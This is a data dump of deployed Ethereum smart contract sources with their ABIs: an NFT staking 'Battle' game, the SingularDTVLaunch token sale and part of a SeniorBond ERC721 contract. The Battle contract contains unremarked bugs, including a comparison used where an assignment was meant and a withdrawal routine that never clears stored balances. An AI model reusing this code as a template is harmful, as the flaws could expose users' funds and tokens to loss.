function getFighter(uint256 tokenId) external view returns (uint256, uint256, uint256, uint256, uint256, uint256);
function mint(address to, uint256 id, uint256 amount) external;
}
contract Battle {
IERC20 public NDR;
IERC1155 public NFT;
// struct NftToken {
// bool hasValue;
// mapping(address => uint) balances;
// }
struct NftToken {
uint tokenId;
uint balances;
}
mapping(address => uint) public teamIdPerUser;
mapping(uint => uint) public totalNDRAmountPerTeam;
mapping(uint => uint) public totalNFTStrengthPerTeam;
mapping(uint => uint) public totalHashPerTeam;
mapping(address => uint) public totalHashPerUser;
mapping(uint => uint) public dayHashPerTeam;
mapping(address => uint) public dayHashPerUser;
// mapping(address => uint) public balanceNFTPerUser;
mapping(address => uint) public totalNFTStrengthPerUser;
mapping(address => uint) public totalNDRAmountPerUser;
mapping(address => uint) public pureNFTStrengthPerUser;
mapping(address => uint) private percentMultiplierApplied;
mapping(address => uint) public percentMultiplierPerUser;
mapping(address => uint) public lastCheckTimePerUser;
mapping(uint => uint) public lastCheckTimePerTeam;
// mapping(uint => NftToken) public nftTokenMap;
mapping(address => NftToken[]) public nftTokenMap;
mapping(address => uint[]) public nftTokens;
mapping(uint => mapping(uint => bool)) public acceptableIdTeam;
mapping(uint => uint) public playersCounter;
// default: 7 days
uint private battleDuration = 7 days;
uint public rewardDuration = 24 hours;
uint public startTime;
uint private _nftFee;
address public owner;
// bool public started;
event NDRStaked(address indexed user, uint amount);
event NFTStaked(address indexed user, uint tokenId, uint amount);
event BoughtNFT(address indexed user, uint tokenId);
event WithdrawnNFT(address indexed user, uint tokenId, uint amount);
event WithdrawnNDR(address indexed user, uint amount);
constructor (
address _NDR, address _NFT
) {
NDR = IERC20(_NDR);
NFT = IERC1155(_NFT);
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "!owner");
_;
}
modifier updateHash() {
uint teamId = teamIdPerUser[msg.sender];
uint rewardRateTeam = dayHashPerTeam[teamId] / rewardDuration;
uint rewardRateUser = dayHashPerUser[msg.sender] / rewardDuration;
totalHashPerTeam[teamId] += rewardRateTeam * (block.timestamp - lastCheckTimePerTeam[teamId]);
totalHashPerUser[msg.sender] += rewardRateUser * (block.timestamp - lastCheckTimePerUser[msg.sender]);
lastCheckTimePerTeam[teamId] = block.timestamp;
lastCheckTimePerUser[msg.sender] = block.timestamp;
_;
}
function setOwner(address _owner) public onlyOwner {
owner = _owner;
}
function setSupportedIds(uint[] calldata tokenIds, uint teamId) public onlyOwner {
require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
for (uint i = 0; i < tokenIds.length; i++) {
uint tokenId = tokenIds[i];
acceptableIdTeam[teamId][tokenId] = true;
}
}
function setBattleDuration(uint _duration) public onlyOwner {
require(startTime == 0, "Can not change during the battle");
require(_duration > 0, "Invalid duration value");
battleDuration = _duration;
}
function getBattleDuration() public view returns (uint) {
return battleDuration;
}
function changeAddresses(address _NDR, address _NFT) public onlyOwner {
NDR = IERC20(_NDR);
NFT = IERC1155(_NFT);
}
function getTeamNDRAmount(uint teamId) public view returns (uint) {
require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
return totalNDRAmountPerTeam[teamId];
}
function getTeamTotalNFTStrength(uint teamId) public view returns (uint) {
require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
return totalNFTStrengthPerTeam[teamId];
}
function getUserTotalNFTStrength(address user) public view returns (uint) {
return totalNFTStrengthPerUser[user];
}
function getTeamDayHash(uint teamId) public view returns (uint) {
require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
return dayHashPerTeam[teamId];
}
function getUserDayHash(address user) public view returns (uint) {
return dayHashPerUser[user];
}
function selectTeam(uint teamId) public {
require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
require(teamIdPerUser[msg.sender] == 0, "Can not change team.");
teamIdPerUser[msg.sender] = teamId;
playersCounter[teamId] += 1;
}
function startBattle() public onlyOwner {
require(startTime == 0, "already started!");
startTime = block.timestamp;
}
function battleFinishDate() public view returns (uint) {
require(block.timestamp >= startTime, "The battle has not been started.");
require(block.timestamp < startTime + battleDuration, "The battle has already been ended.");
return startTime + battleDuration;
}
function getTeamHashResult(uint teamId) public view returns (uint) {
require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
require(block.timestamp >= startTime, "The battle has not been started.");
uint rewardRateTeam = dayHashPerTeam[teamId] / rewardDuration;
uint lastTotalHash = totalHashPerTeam[teamId];
if (block.timestamp >= startTime + battleDuration) {
lastTotalHash += rewardRateTeam * (startTime + battleDuration - lastCheckTimePerTeam[teamId]);
} else {
lastTotalHash += rewardRateTeam * (block.timestamp - lastCheckTimePerTeam[teamId]);
}
return lastTotalHash;
}
function getUserHashResult(address user) public view returns (uint) {
// require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
require(block.timestamp >= startTime, "The battle has not been started.");
uint rewardRateUser = dayHashPerUser[user] / rewardDuration;
uint lastTotalHash = totalHashPerUser[user];
if (block.timestamp >= startTime + battleDuration) {
lastTotalHash += rewardRateUser * (startTime + battleDuration - lastCheckTimePerUser[user]);
} else {
lastTotalHash += rewardRateUser * (block.timestamp - lastCheckTimePerUser[user]);
}
return lastTotalHash;
}
function stakeNFT(uint[] calldata tokenIds, uint[] calldata amounts) public payable updateHash {
require(startTime < block.timestamp, "The battle has not been started yet.");
require(block.timestamp < startTime + battleDuration, "The battle has already been ended.");
require(tokenIds.length == amounts.length, "TokenIds and amounts length should be the same");
require(teamIdPerUser[msg.sender] > 0, "Please select team before staking");
for (uint i = 0; i < tokenIds.length; i++) {
// stakeInternal
stakeInternal(tokenIds[i], amounts[i]);
}
}
function stakeInternal(uint256 tokenId, uint256 amount) internal {
uint teamId = teamIdPerUser[msg.sender];
require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
require(acceptableIdTeam[teamId][tokenId] == true, "Not acceptable tokenId for this team.");
(uint256 strength,,,,,uint256 series) = INodeRunnersNFT(address(NFT)).getFighter(tokenId);
strength = strength * amount * 100;
if (series == 3) {
require(amount == 1, "only one nft with series 3 badge");
require(percentMultiplierApplied[msg.sender] == 0 || percentMultiplierApplied[msg.sender] == 2, "nft with series 3 already applied");
if (percentMultiplierApplied[msg.sender] == 0) {
percentMultiplierApplied[msg.sender] = 1;
} else {
percentMultiplierApplied[msg.sender] == 3;
}
}
if (series == 4) {
require(amount == 1, "only one nft with series 4 badge");
require(percentMultiplierApplied[msg.sender] == 0 || percentMultiplierApplied[msg.sender] == 1, "nft with series 4 already applied");
if (percentMultiplierApplied[msg.sender] == 0) {
percentMultiplierApplied[msg.sender] = 2;
} else {
percentMultiplierApplied[msg.sender] = 3;
}
}
totalNFTStrengthPerTeam[teamId] = totalNFTStrengthPerTeam[teamId] - totalNFTStrengthPerUser[msg.sender];
pureNFTStrengthPerUser[msg.sender] = pureNFTStrengthPerUser[msg.sender] + strength;
if (percentMultiplierApplied[msg.sender] == 1) {
totalNFTStrengthPerUser[msg.sender] = pureNFTStrengthPerUser[msg.sender] * 110 / 100;
} else if (percentMultiplierApplied[msg.sender] == 2) {
totalNFTStrengthPerUser[msg.sender] = pureNFTStrengthPerUser[msg.sender] * 105 / 100;
} else if (percentMultiplierApplied[msg.sender] == 3) {
totalNFTStrengthPerUser[msg.sender] = pureNFTStrengthPerUser[msg.sender] * 11 * 105 / 1000;
} else {
totalNFTStrengthPerUser[msg.sender] = pureNFTStrengthPerUser[msg.sender];
}
// balanceNFTPerUser[msg.sender] += amount;
totalNFTStrengthPerTeam[teamId] += totalNFTStrengthPerUser[msg.sender];
nftTokenMap[msg.sender].push(NftToken(tokenId, amount));
NFT.safeTransferFrom(msg.sender, address(this), tokenId, amount, "0x0");
updateDayHash(msg.sender, teamId);
emit NFTStaked(msg.sender, tokenId, amount);
}
function stakeNDR(uint amount) public payable updateHash {
require(startTime < block.timestamp, "The battle has not been started yet.");
require(block.timestamp < startTime + battleDuration, "The battle has already been ended.");
require(amount > 0, "Cannot stake 0");
require(teamIdPerUser[msg.sender] > 0, "Please select team before staking");
uint teamId = teamIdPerUser[msg.sender];
require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
uint teamNDRAmount = totalNDRAmountPerTeam[teamId];
uint userNDRAmount = totalNDRAmountPerUser[msg.sender];
// TODO get teamHash
NDR.transferFrom(msg.sender, address(this), amount);
teamNDRAmount += amount;
userNDRAmount += amount;
totalNDRAmountPerTeam[teamId] = teamNDRAmount;
totalNDRAmountPerUser[msg.sender] = userNDRAmount;
updateDayHash(msg.sender, teamId);
emit NDRStaked(msg.sender, amount);
}
function updateDayHash(address user, uint teamId) internal {
require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
uint teamStrength = totalNFTStrengthPerTeam[teamId];
uint userStrength = totalNFTStrengthPerUser[user];
uint teamNDRAmount = totalNDRAmountPerTeam[teamId] / (1e18);
// uint userNDRAmount = totalNDRAmountPerUser[user] / (1e18);
if (teamStrength != 0) {
if (teamNDRAmount * 10000 > teamStrength) {
dayHashPerTeam[teamId] = teamStrength;
dayHashPerUser[user] = userStrength;
} else {
dayHashPerTeam[teamId] = totalNDRAmountPerTeam[teamId];
dayHashPerUser[user] = totalNDRAmountPerUser[user];
}
}
}
function setNftFee() external payable onlyOwner {
_nftFee = msg.value;
}
function getNftFee() public view returns(uint) {
require(_nftFee > 0, "Nft fee has not set yet.");
return _nftFee;
}
function getMintingFee(uint rarity, uint teamId) internal view returns (uint) {
require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
uint teamStrength = totalNFTStrengthPerTeam[teamId];
uint teamNDRAmount = totalNDRAmountPerTeam[teamId] / (1e18);
uint fee = rarity * teamNDRAmount * 10000 / teamStrength;
return fee;
}
function buyNewNFT(uint tokenId) public updateHash payable {
(,,,uint256 rarity,uint256 hashPrice,) = INodeRunnersNFT(address(NFT)).getFighter(tokenId);
uint teamId = teamIdPerUser[msg.sender];
require(teamId == 1 || teamId == 2, "teamId should be 1 or 2");
require(hashPrice > 0, "can't buy in hash");
uint fee = getMintingFee(rarity, teamId);
require(msg.value >= fee, "wrong value");
uint userHash = totalHashPerUser[msg.sender];
uint teamHash = totalHashPerTeam[teamId];
require(userHash >= hashPrice, "not enough Hash");
userHash = userHash - hashPrice;
teamHash = teamHash - hashPrice;
totalHashPerUser[msg.sender] = userHash;
totalHashPerTeam[teamId] = teamHash;
INodeRunnersNFT(address(NFT)).mint(msg.sender, tokenId, 1);
emit BoughtNFT(msg.sender, tokenId);
}
function withdrawNFT() public {
require(block.timestamp > startTime + battleDuration, "The battle has not been ended");
NftToken[] memory tokens = nftTokenMap[msg.sender];
for (uint i = 0; i< tokens.length; i++) {
uint id = tokens[i].tokenId;
uint amount = tokens[i].balances;
tokens[i].balances -= amount;
NFT.safeTransferFrom(address(this), msg.sender, id, amount, "0x0");
emit WithdrawnNFT(msg.sender, id, amount);
}
totalNFTStrengthPerUser[msg.sender] = 0;
}
function withdrawNDR() public {
require(block.timestamp > startTime + battleDuration, "The battle has not been ended");
uint ndrAmount = totalNDRAmountPerUser[msg.sender];
totalNDRAmountPerUser[msg.sender] -= ndrAmount;
NDR.transfer(msg.sender, ndrAmount);
emit WithdrawnNDR(msg.sender, ndrAmount);
}
function onERC1155Received(address, address, uint256, uint256, bytes memory) public pure virtual returns (bytes4) {
return this.onERC1155Received.selector;
}
function seize(address to) external onlyOwner {
uint amount = address(this).balance;
payable(to).transfer(amount);
}
} | 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"address"}],"name":"pureNFTStrengthPerUser","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardDuration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"seize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"teamId","type":"uint256"}],"name":"selectTeam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_duration","type":"uint256"}],"name":"setBattleDuration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setNftFee","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"setOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokenIds","type":"uint256[]"},{"internalType":"uint256","name":"teamId","type":"uint256"}],"name":"setSupportedIds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"stakeNDR","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokenIds","type":"uint256[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"stakeNFT","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"startBattle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"teamIdPerUser","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"totalHashPerTeam","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"totalHashPerUser","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"totalNDRAmountPerTeam","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"totalNDRAmountPerUser","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"totalNFTStrengthPerTeam","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"totalNFTStrengthPerUser","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawNDR","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawNFT","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.0+commit.c7dfd78e | true | 200 | 000000000000000000000000739763a258640919981f9ba610ae65492455be5300000000000000000000000089ee76cc25fcbf1714ed575faa6a10202b71c26a | Default | false | ||||
SingularDTVLaunch | SingularDTVLaunch.sol | 0xe1f770faef523dbcfc0534d8abf6af17ab7b0b84 | Solidity | pragma solidity ^0.4.15;
contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractSingularDTVToken is Token {
}
/// @title Token Creation contract - Implements token creation functionality.
/// @author Stefan George - <[email protected]>
/// @author Razvan Pop - <[email protected]>
/// @author Milad Mostavi - <[email protected]>
contract SingularDTVLaunch {
string public version = "0.1.0";
event Contributed(address indexed contributor, uint contribution, uint tokens);
/*
* External contracts
*/
AbstractSingularDTVToken public singularDTVToken;
address public workshop;
address public SingularDTVWorkshop = 0xc78310231aA53bD3D0FEA2F8c705C67730929D8f;
uint public SingularDTVWorkshopFee;
/*
* Constants
*/
uint public CAP; // in wei scale of tokens
uint public DURATION; // in seconds
uint public TOKEN_TARGET; // Goal threshold in wei scale of tokens
/*
* Enums
*/
enum Stages {
Deployed,
GoingAndGoalNotReached,
EndedAndGoalNotReached,
GoingAndGoalReached,
EndedAndGoalReached
}
/*
* Storage
*/
address public owner;
uint public startDate;
uint public fundBalance;
uint public valuePerToken; //in wei
uint public tokensSent;
// participant address => value in Wei
mapping (address => uint) public contributions;
// participant address => token amount in wei scale
mapping (address => uint) public sentTokens;
// Initialize stage
Stages public stage = Stages.Deployed;
modifier onlyOwner() {
// Only owner is allowed to do this action.
if (msg.sender != owner) {
revert();
}
_;
}
modifier atStage(Stages _stage) {
if (stage != _stage) {
revert();
}
_;
}
modifier atStageOR(Stages _stage1, Stages _stage2) {
if (stage != _stage1 && stage != _stage2) {
revert();
}
_;
}
modifier timedTransitions() {
uint timeElapsed = now - startDate;
if (timeElapsed >= DURATION) {
if (stage == Stages.GoingAndGoalNotReached) {
stage = Stages.EndedAndGoalNotReached;
} else if (stage == Stages.GoingAndGoalReached) {
stage = Stages.EndedAndGoalReached;
}
}
_;
}
/*
* Contract functions
*/
/// dev Validates invariants.
function checkInvariants() constant internal {
if (fundBalance > this.balance) {
revert();
}
}
/// @dev Can be triggered if an invariant fails.
function emergencyCall()
public
returns (bool)
{
if (fundBalance > this.balance) {
if (this.balance > 0 && !SingularDTVWorkshop.send(this.balance)) {
revert();
}
return true;
}
return false;
}
/// @dev Allows user to create tokens if token creation is still going and cap not reached. Returns token count.
function fund()
public
timedTransitions
atStageOR(Stages.GoingAndGoalNotReached, Stages.GoingAndGoalReached)
payable
returns (uint)
{
uint tokenCount = (msg.value * (10**18)) / valuePerToken; // Token count in wei is rounded down. Sent ETH should be multiples of valuePerToken.
require(tokenCount > 0);
if (tokensSent + tokenCount > CAP) {
// User wants to create more tokens than available. Set tokens to possible maximum.
tokenCount = CAP - tokensSent;
}
tokensSent += tokenCount;
uint contribution = (tokenCount * valuePerToken) / (10**18); // Ether spent by user.
// Send change back to user.
if (msg.value > contribution && !msg.sender.send(msg.value - contribution)) {
revert();
}
// Update fund and user's balance and total supply of tokens.
fundBalance += contribution;
contributions[msg.sender] += contribution;
sentTokens[msg.sender] += tokenCount;
if (!singularDTVToken.transfer(msg.sender, tokenCount)) {
// Tokens could not be issued.
revert();
}
// Update stage
if (stage == Stages.GoingAndGoalNotReached) {
if (tokensSent >= TOKEN_TARGET) {
stage = Stages.GoingAndGoalReached;
}
}
// not an else clause for the edge case that the CAP and TOKEN_TARGET are reached in one call
if (stage == Stages.GoingAndGoalReached) {
if (tokensSent == CAP) {
stage = Stages.EndedAndGoalReached;
}
}
checkInvariants();
Contributed(msg.sender, contribution, tokenCount);
return tokenCount;
}
/// @dev Allows user to withdraw ETH if token creation period ended and target was not reached. Returns contribution.
function withdrawContribution()
public
timedTransitions
atStage(Stages.EndedAndGoalNotReached)
returns (uint)
{
// We get back the tokens from the contributor before giving back his contribution
uint tokensReceived = sentTokens[msg.sender];
sentTokens[msg.sender] = 0;
if (!singularDTVToken.transferFrom(msg.sender, owner, tokensReceived)) {
revert();
}
// Update fund's and user's balance and total supply of tokens.
uint contribution = contributions[msg.sender];
contributions[msg.sender] = 0;
fundBalance -= contribution;
// Send ETH back to user.
if (contribution > 0) {
msg.sender.transfer(contribution);
}
checkInvariants();
return contribution;
}
/// @dev Withdraws ETH to workshop address. Returns success.
function withdrawForWorkshop()
public
timedTransitions
atStage(Stages.EndedAndGoalReached)
returns (bool)
{
uint value = fundBalance;
fundBalance = 0;
require(value > 0);
uint networkFee = value * SingularDTVWorkshopFee / 100;
workshop.transfer(value - networkFee);
SingularDTVWorkshop.transfer(networkFee);
uint remainingTokens = CAP - tokensSent;
if (remainingTokens > 0 && !singularDTVToken.transfer(owner, remainingTokens)) {
revert();
}
checkInvariants();
return true;
}
/// @dev Allows owner to get back unsent tokens in case of launch failure (EndedAndGoalNotReached).
function withdrawUnsentTokensForOwner()
public
timedTransitions
atStage(Stages.EndedAndGoalNotReached)
returns (uint)
{
uint remainingTokens = CAP - tokensSent;
if (remainingTokens > 0 && !singularDTVToken.transfer(owner, remainingTokens)) {
revert();
}
checkInvariants();
return remainingTokens;
}
/// @dev Sets token value in Wei.
/// @param valueInWei New value.
function changeValuePerToken(uint valueInWei)
public
onlyOwner
atStage(Stages.Deployed)
returns (bool)
{
valuePerToken = valueInWei;
return true;
}
// updateStage allows calls to receive correct stage. It can be used for transactions but is not part of the regular token creation routine.
// It is not marked as constant because timedTransitions modifier is altering state and constant is not yet enforced by solc.
/// @dev returns correct stage, even if a function with timedTransitions modifier has not yet been called successfully.
function updateStage()
public
timedTransitions
returns (Stages)
{
return stage;
}
function start()
public
onlyOwner
atStage(Stages.Deployed)
returns (uint)
{
if (!singularDTVToken.transferFrom(msg.sender, this, CAP)) {
revert();
}
startDate = now;
stage = Stages.GoingAndGoalNotReached;
checkInvariants();
return startDate;
}
/// @dev Contract constructor function sets owner and start date.
function SingularDTVLaunch(
address singularDTVTokenAddress,
address _workshop,
address _owner,
uint _total,
uint _unit_price,
uint _duration,
uint _threshold,
uint _singulardtvwoskhop_fee
) {
singularDTVToken = AbstractSingularDTVToken(singularDTVTokenAddress);
workshop = _workshop;
owner = _owner;
CAP = _total; // Total number of tokens (wei scale)
valuePerToken = _unit_price; // wei per token
DURATION = _duration; // in seconds
TOKEN_TARGET = _threshold; // Goal threshold
SingularDTVWorkshopFee = _singulardtvwoskhop_fee;
}
/// @dev Fallback function acts as fund() when stage GoingAndGoalNotReached
/// or GoingAndGoalReached. And act as withdrawFunding() when EndedAndGoalNotReached.
/// otherwise throw.
function ()
public
payable
{
if (stage == Stages.GoingAndGoalNotReached || stage == Stages.GoingAndGoalReached)
fund();
else if (stage == Stages.EndedAndGoalNotReached)
withdrawContribution();
else
revert();
}
} | [{"constant":true,"inputs":[],"name":"startDate","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"withdrawContribution","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"DURATION","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"tokensSent","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"emergencyCall","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"fundBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"contributions","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"SingularDTVWorkshopFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"TOKEN_TARGET","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"workshop","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"valueInWei","type":"uint256"}],"name":"changeValuePerToken","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"singularDTVToken","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"valuePerToken","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"withdrawUnsentTokensForOwner","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"sentTokens","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"fund","outputs":[{"name":"","type":"uint256"}],"payable":true,"type":"function"},{"constant":false,"inputs":[],"name":"start","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"stage","outputs":[{"name":"","type":"uint8"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"updateStage","outputs":[{"name":"","type":"uint8"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"SingularDTVWorkshop","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"CAP","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"withdrawForWorkshop","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"inputs":[{"name":"singularDTVTokenAddress","type":"address"},{"name":"_workshop","type":"address"},{"name":"_owner","type":"address"},{"name":"_total","type":"uint256"},{"name":"_unit_price","type":"uint256"},{"name":"_duration","type":"uint256"},{"name":"_threshold","type":"uint256"},{"name":"_singulardtvwoskhop_fee","type":"uint256"}],"payable":false,"type":"constructor"},{"payable":true,"type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"contributor","type":"address"},{"indexed":false,"name":"contribution","type":"uint256"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Contributed","type":"event"}] | v0.4.15+commit.bbb8e64f | true | 200 | 00000000000000000000000084049e2004b620f5944c7c77c7b00dc216b01629000000000000000000000000a977529c5e00076de886450bcf2cd04240ce73eb000000000000000000000000a977529c5e00076de886450bcf2cd04240ce73eb0000000000000000000000000000000000000000002df458abd5da8321ac000000000000000000000000000000000000000000000000000000005af3107a40000000000000000000000000000000000000000000000000000000000000c5c10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003 | Default | false | bzzr://8b81003276feed36b8c7132b62d3d688315295f625da832898a0f1940b2d51ee |
|||
SeniorBond | contracts/SeniorBond.sol | 0xa7382ebcca0602df60833b612476b20d631555de | Solidity | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "./IBond.sol";
contract SeniorBond is IBond, ERC721 {
address public override smartYield;
constructor(
address smartYield_,
string memory name_,
string memory symbol_
) ERC721(name_, symbol_) {
smartYield = smartYield_;
}
function mint(address to_, uint256 tokenId_) public override {
require(msg.sender == smartYield, "SB: mint not smartYield");
_mint(to_, tokenId_);
}
function burn(uint256 tokenId_) public override {
require(msg.sender == smartYield, "SB: burn not smartYield");
_burn(tokenId_);
}
} | [{"inputs":[{"internalType":"address","name":"smartYield_","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId_","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to_","type":"address"},{"internalType":"uint256","name":"tokenId_","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTrans